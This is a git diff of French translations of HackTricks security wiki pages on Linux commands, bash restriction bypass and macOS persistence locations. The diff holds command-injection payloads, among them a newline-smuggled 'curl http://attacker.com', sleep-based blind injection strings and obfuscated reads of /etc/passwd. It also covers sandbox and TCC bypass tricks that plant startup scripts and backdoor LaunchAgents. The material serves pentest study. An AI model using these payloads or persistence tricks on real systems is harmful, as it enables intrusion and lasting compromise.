\ Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez-y aujourd'hui : +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -171,37 +171,23 @@ i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps -Grep est un outil puissant pour rechercher des chaînes de texte dans les fichiers. Voici quelques exemples d'utilisation courante de grep : +### Recherche de chaînes de texte dans des fichiers +La commande `grep` est utilisée pour rechercher des chaînes de texte dans des fichiers. Par exemple, pour rechercher le mot "example" dans un fichier nommé `file.txt`, vous pouvez utiliser la commande suivante : +```bash +grep "example" file.txt +``` -- Rechercher une chaîne de texte dans un fichier : - ```bash - grep "mot-clé" fichier.txt - ``` +### Recherche récursive dans les répertoires +Pour rechercher de manière récursive dans tous les fichiers d'un répertoire et de ses sous-répertoires, vous pouvez utiliser l'option `-r` avec `grep`. Par exemple, pour rechercher le mot "keyword" dans tous les fichiers du répertoire courant, utilisez la commande suivante : +```bash +grep -r "keyword" . +``` -- Rechercher de manière récursive dans tous les fichiers d'un répertoire : - ```bash - grep -r "mot-clé" /chemin/vers/repertoire - ``` - -- Ignorer la casse lors de la recherche : - ```bash - grep -i "mot-clé" fichier.txt - ``` - -- Afficher le numéro de ligne des correspondances : - ```bash - grep -n "mot-clé" fichier.txt - ``` - -- Afficher les lignes qui ne correspondent pas au motif : - ```bash - grep -v "mot-clé" fichier.txt - ``` - -- Rechercher un motif en utilisant des expressions régulières : - ```bash - grep -E "motif" fichier.txt - ``` +### Ignorer la casse +Pour effectuer une recherche sans tenir compte de la casse, utilisez l'option `-i` avec `grep`. Par exemple, pour rechercher "example" sans distinction entre majuscules et minuscules, utilisez la commande suivante : +```bash +grep -i "example" file.txt +``` ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -319,27 +305,118 @@ nmap --script-help "(default or version) and smb)" ``` ## Bash -## Bash +### Commandes utiles + +#### `history` +La commande `history` affiche une liste des commandes précédemment exécutées par l'utilisateur. + +#### `alias` +La commande `alias` permet de créer des alias pour des commandes souvent utilisées. + +#### `chmod` +La commande `chmod` est utilisée pour modifier les permissions d'accès aux fichiers et répertoires. + +#### `chown` +La commande `chown` est utilisée pour changer le propriétaire et le groupe d'un fichier ou d'un répertoire. + +#### `ps` +La commande `ps` affiche les processus en cours d'exécution sur le système. + +#### `top` +La commande `top` affiche les processus en cours d'exécution en temps réel, triés par utilisation de ressources. + +#### `kill` +La commande `kill` est utilisée pour arrêter un processus en cours d'exécution en utilisant son PID (identifiant de processus). + +#### `shutdown` +La commande `shutdown` est utilisée pour arrêter ou redémarrer le système. + +#### `ifconfig` +La commande `ifconfig` affiche et configure les interfaces réseau sur le système. + +#### `netstat` +La commande `netstat` affiche les connexions réseau, les tables de routage, les statistiques d'interface, etc. + +#### `ss` +La commande `ss` est utilisée pour obtenir des informations sur les sockets réseau. + +#### `lsof` +La commande `lsof` affiche les fichiers ouverts par les processus en cours d'exécution. + +#### `df` +La commande `df` affiche l'utilisation de l'espace disque sur le système de fichiers. + +#### `du` +La commande `du` affiche l'utilisation de l'espace disque par répertoire. + +#### `free` +La commande `free` affiche l'utilisation de la mémoire système et des échanges. + +#### `uptime` +La commande `uptime` affiche depuis combien de temps le système est en ligne et la charge moyenne. + +#### `grep` +La commande `grep` est utilisée pour rechercher du texte dans des fichiers ou des sorties de commandes. + +#### `find` +La commande `find` est utilisée pour rechercher des fichiers et des répertoires en fonction de certains critères. + +#### `tar` +La commande `tar` est utilisée pour archiver et extraire des fichiers à partir d'une archive. + +#### `zip` +La commande `zip` est utilisée pour compresser des fichiers dans un format zip. + +#### `unzip` +La commande `unzip` est utilisée pour extraire des fichiers d'une archive zip. + +#### `curl` +La commande `curl` est utilisée pour transférer des données vers ou depuis un serveur. + +#### `wget` +La commande `wget` est utilisée pour télécharger des fichiers depuis le Web. + +#### `ssh` +La commande `ssh` est utilisée pour se connecter à un serveur distant de manière sécurisée. + +#### `scp` +La commande `scp` est utilisée pour copier des fichiers de manière sécurisée entre des hôtes distants. + +#### `rsync` +La commande `rsync` est utilisée pour synchroniser des fichiers et des répertoires entre des hôtes distants ou locaux. + +#### `crontab` +La commande `crontab` est utilisée pour gérer les tâches planifiées sur le système. + +#### `journalctl` +La commande `journalctl` est utilisée pour afficher les messages du journal du système et des services. + +#### `systemctl` +La commande `systemctl` est utilisée pour contrôler le système et les services systemd. + +#### `lsblk` +La commande `lsblk` affiche les informations sur les périphériques de stockage du système. + +#### `lscpu` +La commande `lscpu` affiche les informations sur le processeur du système. + +#### `lsusb` +La commande `lsusb` affiche les informations sur les périphériques USB connectés au système. ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables -### Description -Iptables is a powerful firewall utility for Linux systems. It allows you to configure the packet filtering rules of the Linux kernel firewall, which can be used to secure and control network traffic. +Iptables est un utilitaire en ligne de commande pour configurer le pare-feu du noyau Linux. Il permet de définir des règles pour contrôler le trafic réseau entrant et sortant. Voici quelques commandes utiles pour gérer les règles iptables : -### Useful Commands +- `iptables -L` : Affiche toutes les règles iptables actuellement définies. +- `iptables -F` : Efface toutes les règles iptables. +- `iptables -A` : Ajoute une règle à une chaîne spécifique. +- `iptables -D` : Supprime une règle spécifique. +- `iptables -P` : Définit la politique par défaut pour une chaîne. -- **List all rules**: `iptables -L` -- **List all rules with line numbers**: `iptables -L --line-numbers` -- **Flush all rules**: `iptables -F` -- **Block a specific IP address**: `iptables -A INPUT -s -j DROP` -- **Allow a specific IP address**: `iptables -A INPUT -s -j ACCEPT` -- **Block a specific port**: `iptables -A INPUT -p tcp --dport -j DROP` -- **Allow a specific port**: `iptables -A INPUT -p tcp --dport -j ACCEPT` -- **Save rules**: `iptables-save > /etc/iptables/rules.v4` -- **Restore rules**: `iptables-restore < /etc/iptables/rules.v4` +Il est important de comprendre comment utiliser iptables pour renforcer la sécurité de votre système Linux. ```bash #Delete curent rules and chains iptables --flush @@ -372,22 +449,22 @@ iptables -P OUTPUT ACCEPT ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Accédez dès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index afe8486b3..9cd9dad94 100644 --- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -126,7 +126,7 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` -### Contourner l'antislash et la barre oblique +### Contourner l'obstacle des barres obliques et des barres obliques inverses ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd @@ -165,7 +165,7 @@ Vous pourriez utiliser **burpcollab** ou [**pingb**](http://pingb.in) par exempl ### Commandes intégrées -Dans le cas où vous ne pouvez pas exécuter des fonctions externes et que vous avez uniquement accès à un **ensemble limité de commandes intégrées pour obtenir une exécution de code à distance (RCE)**, il existe quelques astuces pratiques pour y parvenir. Habituellement, vous **ne pourrez pas utiliser toutes** les **commandes intégrées**, donc vous devriez **connaître toutes vos options** pour essayer de contourner la restriction. Idée de [**devploit**](https://twitter.com/devploit).\ +Dans le cas où vous ne pouvez pas exécuter des fonctions externes et que vous avez uniquement accès à un **ensemble limité de commandes intégrées pour obtenir une exécution de code à distance (RCE)**, il existe quelques astuces pratiques pour le faire. Habituellement, vous **ne pourrez pas utiliser toutes** les **commandes intégrées**, donc vous devriez **connaître toutes vos options** pour essayer de contourner la restriction. Idée de [**devploit**](https://twitter.com/devploit).\ Tout d'abord, vérifiez toutes les [**commandes intégrées du shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Ensuite, voici quelques **recommandations**: ```bash # Get list of builtins @@ -223,7 +223,7 @@ if [ "a" ]; then echo 1; fi # Will print hello! 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` -### Contourner les expressions régulières potentielles +### Contourner les regex potentielles ```bash # A regex that only allow letters and numbers might be vulnerable to new line characters 1%0a`curl http://attacker.com` @@ -315,7 +315,7 @@ ln /f* 'sh x' 'sh g' ``` -## Contournement de restrictions en lecture seule/Noexec/Distroless +## Contournement de la restriction en lecture seule/Noexec/Distroless Si vous vous trouvez dans un système de fichiers avec les **protections en lecture seule et noexec** ou même dans un conteneur distroless, il existe encore des moyens d'**exécuter des binaires arbitraires, voire un shell !:** @@ -336,7 +336,7 @@ Si vous vous trouvez dans un système de fichiers avec les **protections en lect * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -353,7 +353,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index 71e1cb42c..ac53cd528 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -19,7 +19,7 @@ Cette section est fortement basée sur la série de blogs [**Au-delà des bons v ## Contournement de la sandbox {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **laps de temps déterminé** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root. +Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **certain laps de temps** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root. {% endhint %} ### Launchd @@ -31,16 +31,16 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour * **`/Library/LaunchAgents`** * **Déclencheur** : Redémarrage -* Nécessite les droits root +* Nécessite les droits d'administrateur * **`/Library/LaunchDaemons`** * **Déclencheur** : Redémarrage -* Nécessite les droits root +* Nécessite les droits d'administrateur * **`/System/Library/LaunchAgents`** * **Déclencheur** : Redémarrage -* Nécessite les droits root +* Nécessite les droits d'administrateur * **`/System/Library/LaunchDaemons`** * **Déclencheur** : Redémarrage -* Nécessite les droits root +* Nécessite les droits d'administrateur * **`~/Library/LaunchAgents`** * **Déclencheur** : Connexion * **`~/Library/LaunchDemons`** @@ -83,7 +83,7 @@ Lorsqu'un utilisateur se connecte, les plists situés dans `/Users/$USER/Library Il existe des cas où un **agent doit être exécuté avant la connexion de l'utilisateur**, ceux-ci sont appelés **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple). {% hint style="info" %} -Les nouveaux fichiers de configuration des Daemons ou Agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load ` Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F ` (cependant, ces fichiers plist ne seront pas automatiquement chargés après le redémarrage).\ +Les nouveaux fichiers de configuration de Daemons ou Agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load ` Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F ` (cependant, ces fichiers plist ne seront pas automatiquement chargés après le redémarrage).\ Il est également possible de **décharger** avec `launchctl unload ` (le processus pointé par celui-ci sera terminé), Pour **s'assurer** qu'il n'y a **rien** (comme un remplacement) **empêchant un** **Agent** ou **Daemon** **de** **s'exécuter**, exécutez : `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` @@ -103,8 +103,8 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit. Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) * Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) -* Mais vous devez trouver une application avec un contournement TCC qui exécute un shell qui charge ces fichiers +* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) +* Mais vous devez trouver une application avec un contournement de TCC qui exécute un shell qui charge ces fichiers #### Emplacements @@ -135,7 +135,7 @@ La page de manuel de zsh, que nous pouvons lire avec **`man zsh`**, contient une # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` -### Applications Réouvertes +### Applications réouvertes {% hint style="danger" %} Configurer l'exploitation indiquée et se déconnecter et se reconnecter ou même redémarrer n'a pas fonctionné pour moi pour exécuter l'application. (L'application n'était pas exécutée, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées) @@ -238,7 +238,7 @@ Vous pouvez ajouter ceci depuis la ligne de commande avec: #### Description & Exploitation -Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'application **Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux. +Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'**application Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux. Essayez avec: ```bash @@ -271,7 +271,7 @@ open /tmp/test.terminal Vous pouvez également utiliser les extensions **`.command`**, **`.tool`**, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal. {% hint style="danger" %} -Si le terminal a **Accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal). +Si le terminal a **un accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal). {% endhint %} ### Plugins Audio @@ -279,7 +279,7 @@ Si le terminal a **Accès complet au disque**, il pourra effectuer cette action Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) * Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle) * Vous pourriez obtenir un accès TCC supplémentaire @@ -305,7 +305,7 @@ Selon les writeups précédents, il est possible de **compiler certains plugins Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) -* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) * Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle) * Vous pourriez obtenir un accès TCC supplémentaire @@ -331,7 +331,7 @@ Cela n'a pas fonctionné pour moi, ni avec le LoginHook utilisateur ni avec le L **Writeup** : [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) -* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) +* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) * Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle) #### Emplacement @@ -371,15 +371,15 @@ Le fichier de l'utilisateur root est stocké dans **`/private/var/root/Library/P ## Contournement conditionnel du bac à sable {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet d'exécuter simplement quelque chose en l'écrivant dans un fichier et en **attendant des conditions non super communes** comme des **programmes spécifiques installés, des actions ou environnements "non communs"**. +Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet d'exécuter simplement quelque chose en **l'écrivant dans un fichier** et **en ne s'attendant pas à des conditions super communes** comme des **programmes spécifiques installés, des actions d'utilisateur "non courantes"** ou des environnements. {% endhint %} ### Cron **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) -* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) -* Cependant, vous devez pouvoir exécuter le binaire `crontab` +* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) +* Cependant, vous devez être capable d'exécuter le binaire `crontab` * Ou être root * Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle) @@ -389,15 +389,15 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour * Accès en écriture directe nécessite les droits root. Pas besoin de droits root si vous pouvez exécuter `crontab ` * **Déclencheur** : Dépend de la tâche cron -#### Description & Exploitation +#### Description et exploitation Listez les tâches cron de l'**utilisateur actuel** avec : ```bash crontab -l ``` -Vous pouvez également voir toutes les tâches cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite les droits root). +Vous pouvez également voir tous les travaux cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite les droits root). -Dans MacOS, plusieurs dossiers exécutant des scripts à **certaines fréquences** peuvent être trouvés dans : +Dans MacOS, plusieurs dossiers exécutant des scripts à **certaine fréquence** peuvent être trouvés dans : ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ @@ -413,22 +413,22 @@ crontab /tmp/cron Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) -* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) -* iTerm2 utilisé pour avoir accordé des autorisations TCC +* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button) +* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) +* iTerm2 utilisé pour accorder des autorisations TCC #### Emplacements * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** -* **Déclencheur** : Ouvrir iTerm +* **Déclencheur**: Ouvrir iTerm * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** -* **Déclencheur** : Ouvrir iTerm +* **Déclencheur**: Ouvrir iTerm * **`~/Library/Preferences/com.googlecode.iterm2.plist`** -* **Déclencheur** : Ouvrir iTerm +* **Déclencheur**: Ouvrir iTerm #### Description & Exploitation -Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple : +Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -437,23 +437,25 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` -# macOS Auto Start Locations +```markdown +## macOS Auto Start Locations -## Launch Agents +### Launch Agents Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`. -## Launch Daemons +### Launch Daemons -Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`. +Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`. -## Login Items +### Login Items -Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items. +Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`. -## Startup Items +### Startup Items Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`. +``` ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -474,11 +476,11 @@ Le script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** ser ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` -Le fichier de préférences iTerm2 situé dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** peut **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert. +Les préférences d'iTerm2 situées dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** peuvent **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert. Ce paramètre peut être configuré dans les paramètres d'iTerm2 : -
+
Et la commande est reflétée dans les préférences : ```bash @@ -525,7 +527,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit. #### Description -Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est lancé : +Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est lancé: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -582,7 +584,7 @@ Cet outil permet d'indiquer des applications ou des scripts à exécuter lorsque * `???` -Il permet de créer des workflows qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de workflow et de le faire charger par Alfred (il est nécessaire de payer la version premium pour utiliser les workflows). +Il permet de créer des workflows qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de workflow et de le faire charger par Alfred (il est nécessaire de payer la version premium pour utiliser des workflows). ### SSHRC @@ -602,7 +604,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit. * **Déclencheur**: Connexion via ssh {% hint style="danger" %} -Pour activer ssh, un accès complet au disque est requis: +Pour activer ssh, l'accès complet au disque est requis: ```bash sudo systemsetup -setremotelogin on ``` @@ -627,7 +629,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit. * Charge utile d'exploitation stockée en appelant **`osascript`** * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** * **Déclencheur :** Connexion -* Nécessite des privilèges root +* Nécessite les droits root #### Description @@ -649,9 +651,9 @@ Les **éléments de connexion** peuvent également être indiqués en utilisant ### ZIP en tant qu'élément de connexion -(Vérifiez la section précédente sur les éléments de connexion, ceci est une extension) +(Vérifiez la section précédente sur les éléments de connexion, c'est une extension) -Si vous stockez un fichier **ZIP** en tant qu'**élément de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip était par exemple stocké dans **`~/Library`** et contenait le dossier **`LaunchAgents/file.plist`** avec une porte dérobée, ce dossier sera créé (ce n'est pas le cas par défaut) et le plist sera ajouté afin que la prochaine fois que l'utilisateur se connecte, la **porte dérobée indiquée dans le plist sera exécutée**. +Si vous stockez un fichier **ZIP** en tant qu'**élément de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip était par exemple stocké dans **`~/Library`** et contenait le dossier **`LaunchAgents/file.plist`** avec une porte dérobée, ce dossier sera créé (ce n'est pas le cas par défaut) et le plist sera ajouté afin que la prochaine fois que l'utilisateur se connectera, la **porte dérobée indiquée dans le plist sera exécutée**. Une autre option serait de créer les fichiers **`.bash_profile`** et **`.zshenv`** à l'intérieur du répertoire de l'utilisateur afin que si le dossier LaunchAgents existe déjà, cette technique fonctionnerait toujours. @@ -685,7 +687,7 @@ sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` -Ci-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant `at -c NUMÉRODETÂCHE`. +Ci-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant `at -c JOBNUMBER` ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -739,34 +741,34 @@ Si nous imprimons le fichier de tâche, nous constatons qu'il contient les même ### Actions de Dossier -Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ -Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) +Analyse : [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ +Analyse : 